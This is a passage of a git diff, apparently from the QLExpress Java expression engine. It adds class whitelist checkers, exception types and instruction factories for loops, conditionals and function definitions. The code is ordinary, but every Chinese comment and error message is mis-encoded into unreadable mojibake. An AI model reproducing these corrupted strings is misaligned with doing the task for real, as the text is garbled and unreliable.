+ this.whiteClazz = whiteClazz; + } + + @Override + public boolean check(Class clazz) { + return whiteClazz.isAssignableFrom(clazz); + } +} diff --git a/src/com/ql/util/express/config/whitelist/CheckerFactory.java b/src/com/ql/util/express/config/whitelist/CheckerFactory.java new file mode 100644 index 00000000..7ea4293d --- /dev/null +++ b/src/com/ql/util/express/config/whitelist/CheckerFactory.java @@ -0,0 +1,13 @@ +package com.ql.util.express.config.whitelist; + +public class CheckerFactory { + + public static WhiteChecker must(Class clazz) { + return new MustChecker(clazz); + } + + public static WhiteChecker assignable(Class clazz) { + return new AssignableChecker(clazz); + } + +} diff --git a/src/com/ql/util/express/config/whitelist/MustChecker.java b/src/com/ql/util/express/config/whitelist/MustChecker.java new file mode 100644 index 00000000..b2942487 --- /dev/null +++ b/src/com/ql/util/express/config/whitelist/MustChecker.java @@ -0,0 +1,14 @@ +package com.ql.util.express.config.whitelist; + +public class MustChecker implements WhiteChecker { + private final Class whiteClazz; + + public MustChecker(Class whiteClazz) { + this.whiteClazz = whiteClazz; + } + + @Override + public boolean check(Class clazz) { + return clazz == whiteClazz; + } +} diff --git a/src/com/ql/util/express/config/whitelist/WhiteChecker.java b/src/com/ql/util/express/config/whitelist/WhiteChecker.java new file mode 100644 index 00000000..37adbb89 --- /dev/null +++ b/src/com/ql/util/express/config/whitelist/WhiteChecker.java @@ -0,0 +1,10 @@ +package com.ql.util.express.config.whitelist; + +public interface WhiteChecker { + + /** + * @param clazz + * @return true 表示白åå•æ ¡éªŒé€šè¿‡ + */ + boolean check(Class clazz); +} diff --git a/src/com/ql/util/express/exception/QLBizException.java b/src/com/ql/util/express/exception/QLBizException.java new file mode 100644 index 00000000..c7fced26 --- /dev/null +++ b/src/com/ql/util/express/exception/QLBizException.java @@ -0,0 +1,22 @@ +package com.ql.util.express.exception; + +/** + * éžQLExpress框架æ•èŽ·çš„业务系统代ç çš„异常 + * + * @author tianqiao@taobao.com + * @since 2019/6/18 2:13 PM + */ +public class QLBizException extends Exception { + private static final long serialVersionUID = -5602081330453002691L; + + public QLBizException() { + } + + public QLBizException(String message) { + super(message); + } + + public QLBizException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/com/ql/util/express/exception/QLCompileException.java b/src/com/ql/util/express/exception/QLCompileException.java new file mode 100644 index 00000000..b9792e66 --- /dev/null +++ b/src/com/ql/util/express/exception/QLCompileException.java @@ -0,0 +1,22 @@ +package com.ql.util.express.exception; + +/** + * ç¼–è¯‘å™¨çš„å¼‚å¸¸ä¿¡æ¯ + * + * @author tianqiao@taobao.com + * @since 2019/6/18 2:13 PM + */ +public class QLCompileException extends Exception { + private static final long serialVersionUID = -4743114416550746038L; + + public QLCompileException() { + } + + public QLCompileException(String message) { + super(message); + } + + public QLCompileException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/com/ql/util/express/exception/QLException.java b/src/com/ql/util/express/exception/QLException.java new file mode 100644 index 00000000..60cea5e6 --- /dev/null +++ b/src/com/ql/util/express/exception/QLException.java @@ -0,0 +1,22 @@ +package com.ql.util.express.exception; + +/** + * QLExpress的框架执行过程中æ•èŽ·çš„异常 + * + * @author tianqiao@taobao.com + * @since 2019/6/18 2:13 PM + */ +public class QLException extends Exception { + private static final long serialVersionUID = -1861857045313408218L; + + public QLException() { + } + + public QLException(String message) { + super(message); + } + + public QLException(String message, Throwable cause) { + super(message, cause); + } +} diff --git a/src/com/ql/util/express/exception/QLSecurityRiskException.java b/src/com/ql/util/express/exception/QLSecurityRiskException.java new file mode 100644 index 00000000..5addf066 --- /dev/null +++ b/src/com/ql/util/express/exception/QLSecurityRiskException.java @@ -0,0 +1,18 @@ +package com.ql.util.express.exception; + +/** + * 系统安全相关异常(比如调用æ“作系统命令等) + * + * @author tianqiao@taobao.com + * @since 2019/6/18 10:36 AM + */ +public class QLSecurityRiskException extends QLException { + private static final long serialVersionUID = 1832507141776889856L; + + public QLSecurityRiskException() { + } + + public QLSecurityRiskException(String message) { + super(message); + } +} diff --git a/src/com/ql/util/express/exception/QLTimeoutException.java b/src/com/ql/util/express/exception/QLTimeoutException.java new file mode 100644 index 00000000..9e336233 --- /dev/null +++ b/src/com/ql/util/express/exception/QLTimeoutException.java @@ -0,0 +1,18 @@ +package com.ql.util.express.exception; + +/** + * 设置了timeoutMills造æˆçš„超时异常 + * + * @author tianqiao@taobao.com + * @since 2019/6/18 10:36 AM + */ +public class QLTimeoutException extends QLException { + private static final long serialVersionUID = 8386258847642771321L; + + public QLTimeoutException() { + } + + public QLTimeoutException(String message) { + super(message); + } +} diff --git a/src/com/ql/util/express/instruction/BlockInstructionFactory.java b/src/com/ql/util/express/instruction/BlockInstructionFactory.java new file mode 100644 index 00000000..9f4d1ea7 --- /dev/null +++ b/src/com/ql/util/express/instruction/BlockInstructionFactory.java @@ -0,0 +1,39 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionClearDataStack; +import com.ql.util.express.instruction.detail.InstructionCloseNewArea; +import com.ql.util.express.instruction.detail.InstructionOpenNewArea; +import com.ql.util.express.parse.ExpressNode; + +public class BlockInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + if (node.isTypeEqualsOrChild("STAT_SEMICOLON") && result.getCurrentPoint() >= 0 && !(result.getInstruction( + result.getCurrentPoint()) instanceof InstructionClearDataStack)) { + result.addInstruction(new InstructionClearDataStack().setLine(node.getLine())); + } + + boolean needOpenNewArea = !isRoot && "STAT_BLOCK".equals(node.getNodeType().getName()); + if (needOpenNewArea) { + result.addInstruction(new InstructionOpenNewArea().setLine(node.getLine())); + } + boolean returnVal; + boolean hasDef = false; + for (ExpressNode tmpNode : node.getChildrenArray()) { + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, tmpNode, false); + hasDef = hasDef || tmpHas; + } + if (needOpenNewArea) { + result.addInstruction(new InstructionCloseNewArea().setLine(node.getLine())); + returnVal = false; + } else { + returnVal = hasDef; + } + return returnVal; + } +} diff --git a/src/com/ql/util/express/instruction/BreakInstructionFactory.java b/src/com/ql/util/express/instruction/BreakInstructionFactory.java new file mode 100644 index 00000000..a1e7e800 --- /dev/null +++ b/src/com/ql/util/express/instruction/BreakInstructionFactory.java @@ -0,0 +1,20 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionGoTo; +import com.ql.util.express.parse.ExpressNode; + +public class BreakInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) { + InstructionGoTo breakInstruction = new InstructionGoTo(result.getCurrentPoint() + 1); + breakInstruction.setName("break"); + forStack.peek().breakList.add(breakInstruction); + result.addInstruction(breakInstruction.setLine(node.getLine())); + return false; + } +} diff --git a/src/com/ql/util/express/instruction/CallFunctionInstructionFactory.java b/src/com/ql/util/express/instruction/CallFunctionInstructionFactory.java new file mode 100644 index 00000000..032fa3ca --- /dev/null +++ b/src/com/ql/util/express/instruction/CallFunctionInstructionFactory.java @@ -0,0 +1,37 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionCallSelfDefineFunction; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.parse.ExpressNode; + +public class CallFunctionInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] children = node.getChildrenArray(); + String functionName = children[0].getValue(); + boolean returnVal = false; + children = node.getChildrenArray(); + for (int i = 1; i < children.length; i++) { + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, children[i], false); + returnVal = returnVal || tmpHas; + } + + OperatorBase op = expressRunner.getOperatorFactory().getOperator(functionName); + int opNum = children.length - 1; + if (op != null) { + result.addInstruction(new InstructionOperator(op, opNum).setLine(node.getLine())); + } else { + result.addInstruction( + new InstructionCallSelfDefineFunction(functionName, opNum).setLine(children[0].getLine())); + } + return returnVal; + } +} + + diff --git a/src/com/ql/util/express/instruction/CastInstructionFactory.java b/src/com/ql/util/express/instruction/CastInstructionFactory.java new file mode 100644 index 00000000..5ce45876 --- /dev/null +++ b/src/com/ql/util/express/instruction/CastInstructionFactory.java @@ -0,0 +1,34 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.parse.ExpressNode; + +public class CastInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + boolean returnVal = false; + OperatorBase op = expressRunner.getOperatorFactory().newInstance(node); + ExpressNode[] children = node.getChildrenArray(); + if (children.length == 0) { + throw new QLException("扩展类型ä¸å­˜åœ¨"); + } else if (children.length > 2) { + throw new QLException("扩展æ“作åªèƒ½æœ‰ä¸€ä¸ªç±»åž‹ä¸ºClassçš„æ“作数"); + } else if (!children[0].getNodeType().isEqualsOrChild("CONST_CLASS")) { + throw new QLException("扩展æ“作åªèƒ½æœ‰ä¸€ä¸ªç±»åž‹ä¸ºClassçš„æ“作数,当å‰çš„æ•°æ®ç±»åž‹æ˜¯ï¼š" + children[0].getNodeType().getName()); + } + + for (ExpressNode child : children) { + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, child, false); + returnVal = returnVal || tmpHas; + } + result.addInstruction(new InstructionOperator(op, children.length).setLine(node.getLine())); + return returnVal; + } +} diff --git a/src/com/ql/util/express/instruction/ConstDataInstructionFactory.java b/src/com/ql/util/express/instruction/ConstDataInstructionFactory.java new file mode 100644 index 00000000..10fbc58e --- /dev/null +++ b/src/com/ql/util/express/instruction/ConstDataInstructionFactory.java @@ -0,0 +1,27 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.OperateData; +import com.ql.util.express.instruction.detail.InstructionConstData; +import com.ql.util.express.instruction.opdata.OperateClass; +import com.ql.util.express.parse.ExpressNode; + +public class ConstDataInstructionFactory extends InstructionFactory { + public OperateData genOperateData(ExpressNode node) { + if (node.isTypeEqualsOrChild("CONST_CLASS")) { + return new OperateClass(node.getValue(), (Class)node.getObjectValue()); + } else { + return new OperateData(node.getObjectValue(), node.getObjectValue().getClass()); + } + } + + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) { + result.addInstruction(new InstructionConstData(genOperateData(node)).setLine(node.getLine())); + return false; + } +} diff --git a/src/com/ql/util/express/instruction/ContinueInstructionFactory.java b/src/com/ql/util/express/instruction/ContinueInstructionFactory.java new file mode 100644 index 00000000..5596910c --- /dev/null +++ b/src/com/ql/util/express/instruction/ContinueInstructionFactory.java @@ -0,0 +1,20 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionGoTo; +import com.ql.util.express.parse.ExpressNode; + +public class ContinueInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) { + InstructionGoTo continueInstruction = new InstructionGoTo(result.getCurrentPoint() + 1); + continueInstruction.setName("continue"); + forStack.peek().continueList.add(continueInstruction); + result.addInstruction(continueInstruction.setLine(node.getLine())); + return false; + } +} diff --git a/src/com/ql/util/express/instruction/DefineInstructionFactory.java b/src/com/ql/util/express/instruction/DefineInstructionFactory.java new file mode 100644 index 00000000..2cde320b --- /dev/null +++ b/src/com/ql/util/express/instruction/DefineInstructionFactory.java @@ -0,0 +1,52 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.ExpressUtil; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLCompileException; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.parse.ExpressNode; + +class DefineInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] children = node.getChildrenArray(); + int arrayDimeCount = 0; + StringBuilder stringBuilder = new StringBuilder(); + for (int i = children.length - 2; i > 0; i--) { + ExpressNode tmpNode = children[i]; + if (tmpNode.isTypeEqualsOrChild("[]")) { + arrayDimeCount = arrayDimeCount + 1; + node.getChildrenList().remove(i); + stringBuilder.append("[]"); + } else { + throw new QLCompileException("ä¸æ­£ç¡®çš„类型定义"); + } + } + String tempStr = stringBuilder.toString(); + if (arrayDimeCount > 0) { + node.getChildrenList().get(0).setValue(node.getChildrenList().get(0).getValue() + tempStr); + node.getChildrenList().get(0).setOriginalValue(node.getChildrenList().get(0).getOriginalValue() + tempStr); + Object objValue = node.getChildrenList().get(0).getObjectValue(); + if (objValue instanceof Class) { + Class tmpClass = ExpressUtil.getJavaClass(ExpressUtil.getClassName((Class)objValue) + tempStr); + node.getChildrenList().get(0).setObjectValue(tmpClass); + } else { + node.getChildrenList().get(0).setObjectValue(node.getChildrenList().get(0).getObjectValue() + tempStr); + } + } + + children = node.getChildrenArray(); + for (ExpressNode expressNode : children) { + expressRunner.createInstructionSetPrivate(result, forStack, expressNode, false); + } + OperatorBase op = expressRunner.getOperatorFactory().newInstance(node); + result.addInstruction(new InstructionOperator(op, children.length).setLine(node.getLine())); + return true; + } +} + diff --git a/src/com/ql/util/express/instruction/FieldCallInstructionFactory.java b/src/com/ql/util/express/instruction/FieldCallInstructionFactory.java new file mode 100644 index 00000000..748c11af --- /dev/null +++ b/src/com/ql/util/express/instruction/FieldCallInstructionFactory.java @@ -0,0 +1,34 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLCompileException; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.instruction.op.OperatorField; +import com.ql.util.express.parse.ExpressNode; + +public class FieldCallInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, + ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] children = node.getChildrenArray(); + + //处ç†å¯¹è±¡ + boolean returnValue = expressRunner.createInstructionSetPrivate(result, forStack, children[0], false); + + //处ç†å±žæ€§å称 + if (!"CONST_STRING".equalsIgnoreCase(children[1].getNodeType().getName())) { + throw new QLCompileException("对象属性å称ä¸æ˜¯å­—符串常é‡:" + children[1]); + } + + String fieldName = (String)children[1].getObjectValue(); + + OperatorBase op = new OperatorField(fieldName); + result.addInstruction(new InstructionOperator(op, 1).setLine(node.getLine())); + return returnValue; + } +} diff --git a/src/com/ql/util/express/instruction/ForInstructionFactory.java b/src/com/ql/util/express/instruction/ForInstructionFactory.java new file mode 100644 index 00000000..c634ca75 --- /dev/null +++ b/src/com/ql/util/express/instruction/ForInstructionFactory.java @@ -0,0 +1,94 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLCompileException; +import com.ql.util.express.instruction.detail.InstructionCloseNewArea; +import com.ql.util.express.instruction.detail.InstructionGoTo; +import com.ql.util.express.instruction.detail.InstructionGoToWithCondition; +import com.ql.util.express.instruction.detail.InstructionOpenNewArea; +import com.ql.util.express.parse.ExpressNode; + +public class ForInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + if (node.getChildrenArray().length < 2) { + throw new QLCompileException("for æ“作符至少需è¦2个æ“作数 "); + } else if (node.getChildrenArray().length > 2) { + throw new QLCompileException("for æ“作符最多åªæœ‰2个æ“作数 "); + } + if (node.getChildrenArray()[0].getChildrenArray() != null + && node.getChildrenArray()[0].getChildrenArray().length > 3) { + throw new QLCompileException("循环语å¥çš„设置ä¸åˆé€‚:" + node.getChildrenArray()[0]); + } + //生æˆä½œç”¨åŸŸå¼€å§‹æŒ‡ä»¤ + result.addInstruction(new InstructionOpenNewArea().setLine(node.getLine())); + forStack.push(new ForRelBreakContinue()); + + //生æˆæ¡ä»¶è¯­å¥éƒ¨åˆ†æŒ‡ä»¤ + ExpressNode conditionNode = node.getChildrenArray()[0]; + int nodePoint = 0; + //å˜é‡å®šä¹‰ï¼Œåˆ¤æ–­ï¼Œè‡ªå¢žéƒ½å­˜åœ¨ + if (conditionNode.getChildrenArray() != null && conditionNode.getChildrenArray().length == 3) { + int tempPoint = result.getCurrentPoint(); + expressRunner.createInstructionSetPrivate(result, forStack, conditionNode.getChildrenArray()[0], false); + if (result.getCurrentPoint() > tempPoint) { + nodePoint = nodePoint + 1; + } + } + //循环的开始的ä½ç½® + int loopStartPoint = result.getCurrentPoint() + 1; + + //有æ¡ä»¶è¯­å¥ + InstructionGoToWithCondition conditionInstruction = null; + if (conditionNode.getChildrenArray() != null + && (conditionNode.getChildrenArray().length == 1 + || conditionNode.getChildrenArray().length == 2 + || conditionNode.getChildrenArray().length == 3) + ) { + expressRunner.createInstructionSetPrivate(result, forStack, conditionNode.getChildrenArray()[nodePoint], + false); + //跳转的ä½ç½®éœ€è¦æ ¹æ®åŽç»­çš„指令情况决定 + conditionInstruction = new InstructionGoToWithCondition(false, -1, true); + result.insertInstruction(result.getCurrentPoint() + 1, conditionInstruction.setLine(node.getLine())); + nodePoint = nodePoint + 1; + } + int conditionPoint = result.getCurrentPoint(); + //生æˆå¾ªçŽ¯ä½“çš„ä»£ç  + expressRunner.createInstructionSetPrivate(result, forStack, node.getChildrenArray()[1], false); + + int selfAddPoint = result.getCurrentPoint() + 1; + //生æˆè‡ªå¢žä»£ç æŒ‡ä»¤ + if (conditionNode.getChildrenArray() != null && ( + conditionNode.getChildrenArray().length == 2 || conditionNode.getChildrenArray().length == 3 + )) { + expressRunner.createInstructionSetPrivate(result, forStack, conditionNode.getChildrenArray()[nodePoint], + false); + } + //增加一个无æ¡ä»¶è·³è½¬ + InstructionGoTo reStartGoto = new InstructionGoTo(loopStartPoint - (result.getCurrentPoint() + 1)); + result.addInstruction(reStartGoto.setLine(node.getLine())); + + //修改æ¡ä»¶åˆ¤æ–­çš„跳转ä½ç½® + if (conditionInstruction != null) { + conditionInstruction.setOffset(result.getCurrentPoint() - conditionPoint + 1); + } + + //修改Breakå’ŒContinue指令的跳转ä½ç½®,循环出堆 + ForRelBreakContinue rel = forStack.pop(); + for (InstructionGoTo item : rel.breakList) { + item.setOffset(result.getCurrentPoint() - item.getOffset() + 1); + } + for (InstructionGoTo item : rel.continueList) { + item.setOffset(selfAddPoint - item.getOffset()); + } + + //生æˆä½œç”¨åŸŸç»“æŸæŒ‡ä»¤ + result.addInstruction(new InstructionCloseNewArea().setLine(node.getLine())); + + return false; + } +} diff --git a/src/com/ql/util/express/instruction/ForRelBreakContinue.java b/src/com/ql/util/express/instruction/ForRelBreakContinue.java new file mode 100644 index 00000000..022b9797 --- /dev/null +++ b/src/com/ql/util/express/instruction/ForRelBreakContinue.java @@ -0,0 +1,11 @@ +package com.ql.util.express.instruction; + +import java.util.ArrayList; +import java.util.List; + +import com.ql.util.express.instruction.detail.InstructionGoTo; + +public class ForRelBreakContinue { + final List breakList = new ArrayList<>(); + final List continueList = new ArrayList<>(); +} diff --git a/src/com/ql/util/express/instruction/FunctionInstructionFactory.java b/src/com/ql/util/express/instruction/FunctionInstructionFactory.java new file mode 100644 index 00000000..075ea8d8 --- /dev/null +++ b/src/com/ql/util/express/instruction/FunctionInstructionFactory.java @@ -0,0 +1,52 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; +import com.ql.util.express.parse.ExpressNode; + +public class FunctionInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) + throws Exception { + ExpressNode[] children = node.getChildrenArray(); + if (children.length != 3) { + throw new QLException("function æ“作符需è¦3个æ“作数 "); + } + String functionName = children[0].getValue(); + ExpressNode[] varDefines = children[1].getChildrenArray(); + int point = 0; + + String instructionSetType; + if (node.isTypeEqualsOrChild("class")) { + instructionSetType = InstructionSet.TYPE_CLASS; + } else { + instructionSetType = InstructionSet.TYPE_FUNCTION; + } + InstructionSet functionSet = new InstructionSet(instructionSetType); + + while (point < varDefines.length) { + if (!varDefines[point].isTypeEqualsOrChild("def")) { + throw new QLException("functionçš„å‚数定义错误," + varDefines[point] + "ä¸æ˜¯ä¸€ä¸ªClass"); + } + Class varClass = (Class)varDefines[point].getChildrenArray()[0].getObjectValue(); + String varName = varDefines[point].getChildrenArray()[1].getValue(); + OperateDataLocalVar tmpVar = new OperateDataLocalVar(varName, varClass); + functionSet.addParameter(tmpVar); + point = point + 1; + } + + ExpressNode functionRoot = new ExpressNode(expressRunner.getNodeTypeManager().findNodeType("FUNCTION_DEFINE"), + "function-" + functionName); + for (ExpressNode expressNode : children[2].getChildrenArray()) { + functionRoot.addChild(expressNode); + } + expressRunner.createInstructionSet(functionRoot, functionSet); + result.addMacroDefine(functionName, new FunctionInstructionSet(functionName, instructionSetType, functionSet)); + return false; + } +} diff --git a/src/com/ql/util/express/instruction/FunctionInstructionSet.java b/src/com/ql/util/express/instruction/FunctionInstructionSet.java new file mode 100644 index 00000000..7ad9048d --- /dev/null +++ b/src/com/ql/util/express/instruction/FunctionInstructionSet.java @@ -0,0 +1,18 @@ +package com.ql.util.express.instruction; + +import com.ql.util.express.InstructionSet; + +/** + * TODO public field + */ +public class FunctionInstructionSet { + public final String name; + public final String type; + public final InstructionSet instructionSet; + + public FunctionInstructionSet(String name, String type, InstructionSet instructionSet) { + this.name = name; + this.type = type; + this.instructionSet = instructionSet; + } +} diff --git a/src/com/ql/util/express/instruction/IOperateDataCache.java b/src/com/ql/util/express/instruction/IOperateDataCache.java new file mode 100644 index 00000000..f98c8f04 --- /dev/null +++ b/src/com/ql/util/express/instruction/IOperateDataCache.java @@ -0,0 +1,41 @@ +package com.ql.util.express.instruction; + +import com.ql.util.express.CallResult; +import com.ql.util.express.ExpressLoader; +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.IExpressContext; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.InstructionSetContext; +import com.ql.util.express.OperateData; +import com.ql.util.express.RunEnvironment; +import com.ql.util.express.instruction.opdata.OperateDataArrayItem; +import com.ql.util.express.instruction.opdata.OperateDataAttr; +import com.ql.util.express.instruction.opdata.OperateDataField; +import com.ql.util.express.instruction.opdata.OperateDataKeyValue; +import com.ql.util.express.instruction.opdata.OperateDataLocalVar; + +public interface IOperateDataCache { + OperateData fetchOperateData(Object obj, Class type); + + OperateDataAttr fetchOperateDataAttr(String name, Class type); + + OperateDataLocalVar fetchOperateDataLocalVar(String name, Class type); + + OperateDataField fetchOperateDataField(Object fieldObject, String fieldName); + + OperateDataArrayItem fetchOperateDataArrayItem(OperateData operateData, int index); + + OperateDataKeyValue fetchOperateDataKeyValue(OperateData key, OperateData value); + + RunEnvironment fetRunEnvironment(InstructionSet instructionSet, InstructionSetContext instructionSetContext, + boolean isTrace); + + CallResult fetchCallResult(Object returnValue, boolean isExit); + + InstructionSetContext fetchInstructionSetContext(boolean isExpandToParent, ExpressRunner expressRunner, + IExpressContext parent, ExpressLoader expressLoader, boolean isSupportDynamicFieldName); + + void resetCache(); + + long getFetchCount(); +} diff --git a/src/com/ql/util/express/instruction/IfInstructionFactory.java b/src/com/ql/util/express/instruction/IfInstructionFactory.java new file mode 100644 index 00000000..f81198d0 --- /dev/null +++ b/src/com/ql/util/express/instruction/IfInstructionFactory.java @@ -0,0 +1,59 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.exception.QLCompileException; +import com.ql.util.express.instruction.detail.InstructionGoTo; +import com.ql.util.express.instruction.detail.InstructionGoToWithCondition; +import com.ql.util.express.parse.ExpressNode; + +public class IfInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] oldChildren = node.getChildrenArray(); + if (oldChildren.length < 2) { + throw new QLCompileException("if æ“作符至少需è¦2个æ“作数 "); + } else if (oldChildren.length > 5) { + throw new QLCompileException("if æ“作符最多åªæœ‰5个æ“作数 "); + } + ExpressNode[] children = new ExpressNode[3]; + int point = 0; + for (ExpressNode oldChild : oldChildren) { + if (oldChild.isTypeEqualsOrChild("then") + || oldChild.isTypeEqualsOrChild("else") + || oldChild.isTypeEqualsOrChild("?") + || oldChild.isTypeEqualsOrChild(":")) { + continue; + } + children[point] = oldChild; + point = point + 1; + } + if (point == 2) { + children[2] = new ExpressNode(expressRunner.getNodeTypeManager().findNodeType("STAT_BLOCK"), null); + } + + //condition + boolean r1 = expressRunner.createInstructionSetPrivate(result, forStack, children[0], false); + InstructionGoToWithCondition goToFalseBody = new InstructionGoToWithCondition(false, 0, true); + goToFalseBody.setLine(node.getLine()); + result.addInstruction(goToFalseBody); + int conditionEndPoint = result.getCurrentPoint(); + + //true + boolean r2 = expressRunner.createInstructionSetPrivate(result, forStack, children[1], false); + InstructionGoTo goToEnd = new InstructionGoTo(0); + goToEnd.setLine(node.getLine()); + result.addInstruction(goToEnd); + goToFalseBody.setOffset(result.getCurrentPoint() - conditionEndPoint + 1); + + int trueBodyEndPoint = result.getCurrentPoint(); + + //false + boolean r3 = expressRunner.createInstructionSetPrivate(result, forStack, children[2], false); + goToEnd.setOffset(result.getCurrentPoint() - trueBodyEndPoint + 1); + return r1 || r2 || r3; + } +} diff --git a/src/com/ql/util/express/instruction/InInstructionFactory.java b/src/com/ql/util/express/instruction/InInstructionFactory.java new file mode 100644 index 00000000..5862fd8a --- /dev/null +++ b/src/com/ql/util/express/instruction/InInstructionFactory.java @@ -0,0 +1,34 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.parse.ExpressNode; + +public class InInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception { + ExpressNode[] children = node.getChildrenArray(); + if (children[1].isTypeEqualsOrChild("CHILD_EXPRESS")) { + node.getChildrenList().remove(1); + ExpressNode[] parameterList = children[1].getChildrenArray(); + for (ExpressNode expressNode : parameterList) { + node.getChildrenList().add(expressNode); + } + } + + boolean returnVal = false; + children = node.getChildrenArray(); + for (ExpressNode child : children) { + boolean tmpHas = expressRunner.createInstructionSetPrivate(result, forStack, child, false); + returnVal = returnVal || tmpHas; + } + OperatorBase op = expressRunner.getOperatorFactory().newInstance(node); + result.addInstruction(new InstructionOperator(op, children.length).setLine(node.getLine())); + return returnVal; + } +} diff --git a/src/com/ql/util/express/instruction/InstructionFactory.java b/src/com/ql/util/express/instruction/InstructionFactory.java new file mode 100644 index 00000000..aed3152c --- /dev/null +++ b/src/com/ql/util/express/instruction/InstructionFactory.java @@ -0,0 +1,29 @@ +package com.ql.util.express.instruction; + +import java.util.HashMap; +import java.util.Map; +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.parse.ExpressNode; + +public abstract class InstructionFactory { + private static final Map INSTRUCTION_FACTORY_MAP = new HashMap<>(); + + public static InstructionFactory getInstructionFactory(String factory) { + try { + InstructionFactory result = INSTRUCTION_FACTORY_MAP.get(factory); + if (result == null) { + result = (InstructionFactory)Class.forName(factory).newInstance(); + INSTRUCTION_FACTORY_MAP.put(factory, result); + } + return result; + } catch (Exception e) { + throw new RuntimeException(e); + } + } + + public abstract boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean isRoot) throws Exception; +} diff --git a/src/com/ql/util/express/instruction/KeyValueInstructionFactory.java b/src/com/ql/util/express/instruction/KeyValueInstructionFactory.java new file mode 100644 index 00000000..c99daccb --- /dev/null +++ b/src/com/ql/util/express/instruction/KeyValueInstructionFactory.java @@ -0,0 +1,46 @@ +package com.ql.util.express.instruction; + +import java.util.Stack; + +import com.ql.util.express.ExpressRunner; +import com.ql.util.express.InstructionSet; +import com.ql.util.express.instruction.detail.InstructionOperator; +import com.ql.util.express.instruction.op.OperatorBase; +import com.ql.util.express.parse.ExpressNode; + +class KeyValueInstructionFactory extends InstructionFactory { + @Override + public boolean createInstruction(ExpressRunner expressRunner, InstructionSet result, + Stack forStack, ExpressNode node, boolean 